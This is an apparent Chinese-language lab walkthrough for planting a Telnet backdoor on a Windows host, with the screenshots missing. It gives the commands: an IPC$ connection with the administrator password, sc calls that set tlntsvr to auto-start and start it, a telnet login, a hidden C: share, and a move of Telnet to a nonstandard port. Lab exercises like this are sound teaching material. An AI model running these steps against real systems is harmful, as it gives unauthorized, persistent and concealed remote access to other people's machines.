系统后门种植实验--TELNET

本地开启Telnet服务

 

进入主机A，右键“我的电脑”->管理->服务和应用程序->服务，找到Telnet服务，

 

 

 将启动类型改为手动

 

 进行启动

 

 

远程开启Telnet服务

在主机B的“控制面板-工具-文件夹选项-查看-简单的文件共享”去掉选取。

 右键“我的电脑”->管理->服务和应用程序->服务，找到Telnet服务，关闭之：

 

 

 

 

 回到主机A用net use命令建立ipc$连接         命令：net use \\10.1.1.119\ipc$ "主机B的密码" /user:administrator

用sc命令把禁用的telnet服务变成自动    命令：sc \\10.1.1.119 config tlntsvr start= auto

 

 

在主机B上可以查看telnet的启动类型已经变为自动：

 

 

 

用sc命令将telnet启动

命令：sc \\10.1.1.119 start tlntsvr   在主机B上可以查看telnet服务已经启动：

 

 

 

 

新建一个cmd环境进行telnet登录：telnet 10.1.1.119

telnet连接建立之后，可输入用户名密码等相关信息进行登录，telnet服务登录到远程主机：

 

 

 

 

 

登录后便可进行共享等相关操作，net share建立c$共享  命令：et share abc$=c:

查看共享目录：net share

 

 

 

远程更改telnet端口

输入tlntadmn \\10.1.1.119 config port=1000 -u administrator -p 主机B的密码